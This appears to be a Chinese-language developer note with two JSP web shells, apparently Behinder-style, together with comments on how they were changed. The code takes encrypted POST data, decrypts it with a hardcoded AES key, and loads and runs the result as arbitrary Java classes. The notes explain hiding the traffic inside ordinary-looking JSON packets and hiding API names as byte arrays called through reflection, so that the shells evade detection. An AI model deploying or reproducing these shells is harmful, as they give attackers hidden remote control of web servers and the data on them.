原:AES+Base64
改:AES+Base64 嵌入到 正常 的数据包中,伪造数据包
原:AES
改:AES+Base64+拼接字符串头 潜入到正常数据包中,伪造json数据包
{Encoded: "asdasdasdas"}
{ Result: "daddasdadasda" }
原版返回数据为AES加密数据流,未进行Base64,我们构造成base64+随机数据
数据解码时增加解码步骤:
通过反射重新实现加密逻辑,将关键字通过byte[]进行绕过,所有关键字通过反射加载实现
base通过反射+byte[] 兼容各版本jdk,避免高低版本解码问题
<%!class U extends ClassLoader{U(ClassLoader c)
{super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}
public static byte[] s(String bs) throws Exception {
byte[] value = null;
Class a;
try {
a = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 66, 97, 115, 101, 54, 52}));
Object b = a.getMethod(new String(new byte[]{103, 101, 116, 68, 101, 99, 111, 100, 101, 114}), (Class[])null).invoke(a, (Object[])null);
value = (byte[]) b.getClass().getMethod(new String(new byte[]{100, 101, 99, 111, 100, 101}), String.class).invoke(b, bs);
} catch (Exception var6) {
try {
a = Class.forName(new String(new byte[]{}));
Object c = a.newInstance();
value = (byte[]) c.getClass().getMethod(new String(new byte[]{100, 101, 99, 111, 100, 101, 66, 117, 102, 102, 101, 114}), String.class).invoke(c, bs);
} catch (Exception var5) {
}
}
return value;
}
%>
<%
if (request.getMethod().equals("POST"))
{
String json ="e45e329feb5d925b";
session.putValue("u",json);
String xo = new String(new byte[]{106, 97, 118, 97, 120, 46, 99, 114, 121, 112, 116, 111, 46, 67, 105, 112, 104, 101, 114});
Class ci = Class.forName(xo);
java.lang.reflect.Method g = ci.getMethod(new String(new byte[]{103, 101, 116, 73, 110, 115, 116, 97, 110, 99, 101}), String.class);
Object c = ci.cast(g.invoke((null),new String(new byte[]{65, 69, 83})));
ci.getMethod(new String(new byte[]{105, 110, 105, 116}),int.class,java.security.Key.class).invoke(c,2,new javax.crypto.spec.SecretKeySpec(json.getBytes(),new String(new byte[]{65, 69, 83})));
try {
String ok = request.getReader().readLine();
byte [] x = (byte[]) c.getClass().getMethod(new String(new byte[]{100, 111, 70, 105, 110, 97, 108}),byte[].class).invoke(c,s(ok));
ClassLoader sb = this.getClass().getClassLoader();
new U(sb).g(x).newInstance().equals(pageContext);
} catch (Exception e) {
out.print(e.toString());
}
}
%>
通过javassist进行生成字节码,后续直接反射调用即可
<%@page import="java.util.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}
public static byte[] s(String bs) throws Exception {
byte[] value = null;
Class a;
try {
a = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 66, 97, 115, 101, 54, 52}));
Object b = a.getMethod(new String(new byte[]{103, 101, 116, 68, 101, 99, 111, 100, 101, 114}), (Class[])null).invoke(a, (Object[])null);
value = (byte[]) b.getClass().getMethod(new String(new byte[]{100, 101, 99, 111, 100, 101}), String.class).invoke(b, bs);
} catch (Exception var6) {
try {
a = Class.forName(new String(new byte[]{}));
Object c = a.newInstance();
value = (byte[]) c.getClass().getMethod(new String(new byte[]{100, 101, 99, 111, 100, 101, 66, 117, 102, 102, 101, 114}), String.class).invoke(c, bs);
} catch (Exception var5) {
}
}
return value;
}
%>
<%if (request.getMethod().equals("POST")){
String data ="yv66vgAAADQAhAcASwoAAQBMCgAJAE0HAE4KAAkATwcAUAoAUQBSCgAKAFMHAFQHAFUHAC8HAFYKAAkAVwoAGwBYCgAbAFkKABsAWgcAWwoAEQBcCABdCgBeAF8HAGAKAAEAYQoAFQBiCgBeAGMKABoAZAcAZQcAZgoAGgBYCgBeAGcKABoAaAoACgBpAQABcwEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQABYgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAAWEBABFMamF2YS9sYW5nL0NsYXNzOwEAAWMBAAR2YXI2AQAVTGphdmEvbGFu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AAvcAaAcAMgIAAQBJAAAAAgBK";
String k ="e45e329feb5d925b";
session.putValue("u",k);
String p=request.getReader().readLine();
ArrayList<Object> t = new ArrayList<Object>();
t.add(k); // 传入解密的key
t.add(p); // 传入请求数据包
t.add(pageContext); // 传入pageContext对象
t.add(this.getClass().getClassLoader()); // 对应的classLoader
new U(this.getClass().getClassLoader()).g(s(data)).newInstance().equals(t);}
//out.print("It Works!");
%>